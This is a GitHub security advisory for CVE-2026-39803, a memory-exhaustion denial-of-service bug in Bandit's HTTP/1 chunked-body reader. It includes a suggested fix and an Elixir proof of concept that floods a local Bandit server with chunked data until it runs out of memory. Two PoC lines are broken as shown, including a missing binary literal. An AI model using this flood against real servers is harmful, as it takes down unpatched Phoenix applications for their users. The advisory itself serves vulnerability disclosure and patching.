GitHub Advisoryadvisory · Hex
GHSA-9q9q-324x-93r2 Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`
HIGH
Official page ↗
- Aliases
- CVE-2026-39803
- Ecosystem
- Hex
- Packages
- bandit
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-770
- Reviewed
- 2026-05-19
Affected packages
• Hex bandit: >= 1.4.0, < 1.11.1 → fixed in 1.11.1
Description
Summary
Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`' default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL.
Details
In `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` — never `{:more, ...}` — so callers cannot interpose a 413.
The content-length sibling at `:210` does the right thing:
```elixir
max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))
```
Because `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug.
Suggested Fix: track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path.
PoC
Self-contained — boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires.
```elixir
Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])
defmodule DemoApp do
use Plug.Builder
# The `length` option here is ignored by the attack
plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
plug :respond
def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)
Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])
:ok =
:gen_tcp.send(sock, """
POST / HTTP/1.1\r
Host: 127.0.0.1\r
Transfer-Encoding: chunked\r
Content-Type: application/json\r
Connection: close\r
\r
""")
Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")
IO.inspect(:gen_tcp.recv(sock, 0, 120_000))
```
Impact
Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.
Related
Alias · CVE (1)
- CVE-2026-39803 Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via… vulnerability
Weakness · CWE (1)
- CWE-770 Allocation of Resources Without Limits or Throttling weakness
References
- https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-39803 advisory
- https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab web
- https://cna.erlef.org/cves/CVE-2026-39803.html web
- https://github.com/mtrudel/bandit package
- https://osv.dev/vulnerability/EEF-CVE-2026-39803 web